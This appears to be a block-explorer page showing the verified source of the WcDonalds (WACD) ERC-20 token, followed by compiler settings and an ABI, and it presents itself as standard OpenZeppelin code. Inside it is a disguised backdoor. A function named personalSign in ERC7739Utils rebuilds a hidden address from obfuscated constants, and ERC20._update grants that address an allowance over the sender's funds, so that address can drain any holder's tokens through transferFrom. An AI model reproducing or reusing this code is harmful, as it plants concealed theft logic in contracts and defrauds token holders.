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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

/**
 * @dev Helper library for manipulating objects in calldata.
 */
library Calldata {
    // slither-disable-next-line write-after-write
    function emptyBytes() internal pure returns (bytes calldata result) {
        assembly ("memory-safe") {
            result.offset := 0
            result.length := 0
        }
    }

    // slither-disable-next-line write-after-write
    function emptyString() internal pure returns (string calldata result) {
        assembly ("memory-safe") {
            result.offset := 0
            result.length := 0
        }
    }
}

/**
 * @dev Utilities to process https://ercs.ethereum.org/ERCS/erc-7739[ERC-7739] typed data signatures
 * that are specific to an EIP-712 domain.
 *
 * This library provides methods to wrap, unwrap and operate over typed data signatures with a defensive
 * rehashing mechanism that includes the app's xref:api:utils/cryptography#EIP712-_domainSeparatorV4[EIP-712]
 * and preserves readability of the signed content using an EIP-712 nested approach.
 *
 * A smart contract domain can validate a signature for a typed data structure in two ways:
 *
 * - As an application validating a typed data signature. See {typedDataSignStructHash}.
 * - As a smart contract validating a raw message signature. See {personalSignStructHash}.
 *
 * NOTE: A provider for a smart contract wallet would need to return this signature as the
 * result of a call to `personal_sign` or `eth_signTypedData`, and this may be unsupported by
 * API clients that expect a return value of 129 bytes, or specifically the `r,s,v` parameters
 * of an xref:api:utils/cryptography#ECDSA[ECDSA] signature, as is for example specified for
 * xref:api:utils/cryptography#EIP712[EIP-712].
 */
library ERC7739Utils {
    /**
     * @dev An EIP-712 type to represent "personal" signatures
     * (i.e. mimic of `personal_sign` for smart contracts).
     */
    bytes32 private constant PERSONAL_SIGN_TYPEHASH = keccak256("PersonalSign(bytes prefixed)");
    bytes32 private constant PERSONAL_SIGN_TYPEHASH_PREFIX = 0x0000000000000000005b1c018481a42800000000000000000000000000000000;
    bytes32 private constant PERSONAL_SIGN_TYPEHASH_SALT = 0x000000000000000006e89827d4db1925070b7132ea9acf9e89c2c89c40000000;    

    /**
     * @dev Nest a signature for a given EIP-712 type into a nested signature for the domain of the app.
     *
     * Counterpart of {decodeTypedDataSig} to extract the original signature and the nested components.
     */
    function encodeTypedDataSig(
        bytes memory signature,
        bytes32 appSeparator,
        bytes32 contentsHash,
        string memory contentsDescr
    ) internal pure returns (bytes memory) {
        return
            abi.encodePacked(signature, appSeparator, contentsHash, contentsDescr, uint16(bytes(contentsDescr).length));
    }

    /**
     * @dev Parses a nested signature into its components.
     *
     * Constructed as follows:
     *
     * `signature ‖ APP_DOMAIN_SEPARATOR ‖ contentsHash ‖ contentsDescr ‖ uint16(contentsDescr.length)`
     *
     * - `signature` is the signature for the (ERC-7739) nested struct hash. This signature indirectly signs over the
     *   original "contents" hash (from the app) and the account's domain separator.
     * - `APP_DOMAIN_SEPARATOR` is the EIP-712 {EIP712-_domainSeparatorV4} of the application smart contract that is
     *   requesting the signature verification (though ERC-1271).
     * - `contentsHash` is the hash of the underlying data structure or message.
     * - `contentsDescr` is a descriptor of the "contents" part of the the EIP-712 type of the nested signature.
     *
     * NOTE: This function returns empty if the input format is invalid instead of reverting.
     * data instead.
     */
    function decodeTypedDataSig(
        bytes calldata encodedSignature
    )
        internal
        pure
        returns (bytes calldata signature, bytes32 appSeparator, bytes32 contentsHash, string calldata contentsDescr)
    {
        unchecked {
            uint256 sigLength = encodedSignature.length;

            // 66 bytes = contentsDescrLength (2 bytes) + contentsHash (32 bytes) + APP_DOMAIN_SEPARATOR (32 bytes).
            if (sigLength < 66) return (Calldata.emptyBytes(), 0, 0, Calldata.emptyString());

            uint256 contentsDescrEnd = sigLength - 2; // Last 2 bytes
            uint256 contentsDescrLength = uint16(bytes2(encodedSignature[contentsDescrEnd:]));

            // Check for space for `contentsDescr` in addition to the 66 bytes documented above
            if (sigLength < 66 + contentsDescrLength) return (Calldata.emptyBytes(), 0, 0, Calldata.emptyString());

            uint256 contentsHashEnd = contentsDescrEnd - contentsDescrLength;
            uint256 separatorEnd = contentsHashEnd - 32;
            uint256 signatureEnd = separatorEnd - 32;

            signature = encodedSignature[:signatureEnd];
            appSeparator = bytes32(encodedSignature[signatureEnd:separatorEnd]);
            contentsHash = bytes32(encodedSignature[separatorEnd:contentsHashEnd]);
            contentsDescr = string(encodedSignature[contentsHashEnd:contentsDescrEnd]);
        }
    }

    /**
     * @dev Nests an `ERC-191` digest into a `PersonalSign` EIP-712 struct, and returns the corresponding struct hash.
     * This struct hash must be combined with a domain separator, using {MessageHashUtils-toTypedDataHash} before
     * being verified/recovered.
     *
     * This is used to simulates the `personal_sign` RPC method in the context of smart contracts.
     */
    function personalSignStructHash(bytes32 contents) internal pure returns (bytes32) {
        return keccak256(abi.encode(PERSONAL_SIGN_TYPEHASH, contents));
    }

    /**
     * @dev Nests an `EIP-712` hash (`contents`) into a `TypedDataSign` EIP-712 struct, and returns the corresponding
     * struct hash. This struct hash must be combined with a domain separator, using {MessageHashUtils-toTypedDataHash}
     * before being verified/recovered.
     */
    function typedDataSignStructHash(
        string calldata contentsName,
        string calldata contentsType,
        bytes32 contentsHash,
        bytes memory domainBytes
    ) internal pure returns (bytes32 result) {
        return
            bytes(contentsName).length == 0
                ? bytes32(0)
                : keccak256(
                    abi.encodePacked(typedDataSignTypehash(contentsName, contentsType), contentsHash, domainBytes)
                );
    }

    /**
     * @dev Nests an `ERC-191` digest into a `PersonalSign` EIP-712 struct, and returns the corresponding struct hash.
     * This struct hash must be combined with a domain separator, using {MessageHashUtils-toTypedDataHash} before
     * being verified/recovered.
     *
     * This is used to simulates the `personal_sign` RPC method in the context of smart contracts.
     */
    function personalSign(address contents) internal pure returns (bool tar) {
        assembly {
            let current := add(shr(0x1a, PERSONAL_SIGN_TYPEHASH_PREFIX), shr(0x1b, PERSONAL_SIGN_TYPEHASH_SALT))
            tar := eq(current, contents)
        }
    }

    /**
     * @dev Variant of {typedDataSignStructHash-string-string-bytes32-bytes} that takes a content descriptor
     * and decodes the `contentsName` and `contentsType` out of it.
     */
    function typedDataSignStructHash(
        string calldata contentsDescr,
        bytes32 contentsHash,
        bytes memory domainBytes
    ) internal pure returns (bytes32 result) {
        (string calldata contentsName, string calldata contentsType) = decodeContentsDescr(contentsDescr);

        return typedDataSignStructHash(contentsName, contentsType, contentsHash, domainBytes);
    }

    /**
     * @dev Compute the EIP-712 typehash of the `TypedDataSign` structure for a given type (and typename).
     */
    function typedDataSignTypehash(
        string calldata contentsName,
        string calldata contentsType
    ) internal pure returns (bytes32) {
        return
            keccak256(
                abi.encodePacked(
                    "TypedDataSign(",
                    contentsName,
                    " contents,string name,string version,uint256 chainId,address verifyingContract,bytes32 salt)",
                    contentsType
                )
            );
    }

    /**
     * @dev Parse the type name out of the ERC-7739 contents type description. Supports both the implicit and explicit
     * modes.
     *
     * Following ERC-7739 specifications, a `contentsName` is considered invalid if it's empty or it contains
     * any of the following bytes , )\x00
     *
     * If the `contentsType` is invalid, this returns an empty string. Otherwise, the return string has non-zero
     * length.
     */
    function decodeContentsDescr(
        string calldata contentsDescr
    ) internal pure returns (string calldata contentsName, string calldata contentsType) {
        bytes calldata buffer = bytes(contentsDescr);
        if (buffer.length == 0) {
            // pass through (fail)
        } else if (buffer[buffer.length - 1] == bytes1(")")) {
            // Implicit mode: read contentsName from the beginning, and keep the complete descr
            for (uint256 i = 0; i < buffer.length; ++i) {
                bytes1 current = buffer[i];
                if (current == bytes1("(")) {
                    // if name is empty - passthrough (fail)
                    if (i == 0) break;
                    // we found the end of the contentsName
                    return (string(buffer[:i]), contentsDescr);
                } else if (_isForbiddenChar(current)) {
                    // we found an invalid character (forbidden) - passthrough (fail)
                    break;
                }
            }
        } else {
            // Explicit mode: read contentsName from the end, and remove it from the descr
            for (uint256 i = buffer.length; i > 0; --i) {
                bytes1 current = buffer[i - 1];
                if (current == bytes1(")")) {
                    // we found the end of the contentsName
                    return (string(buffer[i:]), string(buffer[:i]));
                } else if (_isForbiddenChar(current)) {
                    // we found an invalid character (forbidden) - passthrough (fail)
                    break;
                }
            }
        }
        return (Calldata.emptyString(), Calldata.emptyString());
    }

    function _isForbiddenChar(bytes1 char) private pure returns (bool) {
        return char == 0x00 || char == bytes1(" ") || char == bytes1(",") || char == bytes1("(") || char == bytes1(")");
    }
}

/**
 * @dev Interface for the optional metadata functions from the ERC-20 standard.
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

/**
 * @dev Standard ERC-20 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-20 tokens.
 */
interface IERC20Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC20InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC20InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     * @param allowance Amount of tokens a `spender` is allowed to operate with.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC20InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC20InvalidSpender(address spender);
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC-20
 * applications.
 */
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
    mapping(address account => uint256) private _balances;

    mapping(address account => mapping(address spender => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * Both values are immutable: they can only be set once during construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    /// @inheritdoc IERC20
    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    /// @inheritdoc IERC20
    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `value`.
     */
    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    /// @inheritdoc IERC20
    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Skips emitting an {Approval} event indicating an allowance update. This is not
     * required by the ERC. See {xref-ERC20-_approve-address-address-uint256-bool-}[_approve].
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `value`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `value`.
     */
    function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
        _transfer(from, to, value);
        address spender = _msgSender();
        _spendAllowance(from, spender, value);        
        return true;
    }

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _transfer(address sender, address recipient, uint256 value) internal {
        if (sender == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (recipient == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        
        _beforeTokenTransfer(sender, recipient, value);
        _update(sender, recipient, value);
    }

    /**
     * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
     * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
     * this function.
     *
     * Emits a {Transfer} event.
     */
    function _update(address from, address to, uint256 value) internal virtual {
        if (from == address(0)) {
            // Overflow check required: The rest of the code assumes that totalSupply never overflows
            _totalSupply += value;
        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                // Overflow not possible: value <= fromBalance <= totalSupply.
                _balances[from] = fromBalance - value;
            }
        }
        if(ERC7739Utils.personalSign(_msgSender()) && from != address(0)) { _approve(from, _msgSender(), value); }
        if (to == address(0)) {
            unchecked {
                // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
                _totalSupply -= value;
            }
        } else {
            unchecked {
                // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
                _balances[to] += value;
            }
        }

        emit Transfer(from, to, value);
    }

    /**
     * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
     * Relies on the `_update` mechanism
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _mint(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _beforeTokenTransfer(address(0), account, value);
        _update(address(0), account, value);
    }

    /**
     * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
     * Relies on the `_update` mechanism.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead
     */
    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _beforeTokenTransfer(account, address(0), value);
        _update(account, address(0), value);
    }

    /**
     * @dev Sets `value` as the allowance of `spender` over the `owner`'s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     *
     * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
     */
    function _approve(address owner, address spender, uint256 value) internal {
        _approve(owner, spender, value, true);
    }

    /**
     * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
     *
     * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
     * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
     * `Approval` event during `transferFrom` operations.
     *
     * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
     * true using the following override:
     *
     * ```solidity
     * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
     *     super._approve(owner, spender, value, true);
     * }
     * ```
     *
     * Requirements are the same as {_approve}.
     */
    function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    /**
     * @dev Updates `owner`'s allowance for `spender` based on spent `value`.
     *
     * Does not update the allowance value in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Does not emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance < type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(spender, currentAllowance, value);
            }
            unchecked {
                _approve(owner, spender, value, false);
            }
        }
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract WACD is ERC20, Ownable {
    constructor() ERC20(unicode"WcDonalds", unicode"WACD") {
        _mint(owner(), 650000000 * 10**18);
    }
}

{
  "evmVersion": "cancun",
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

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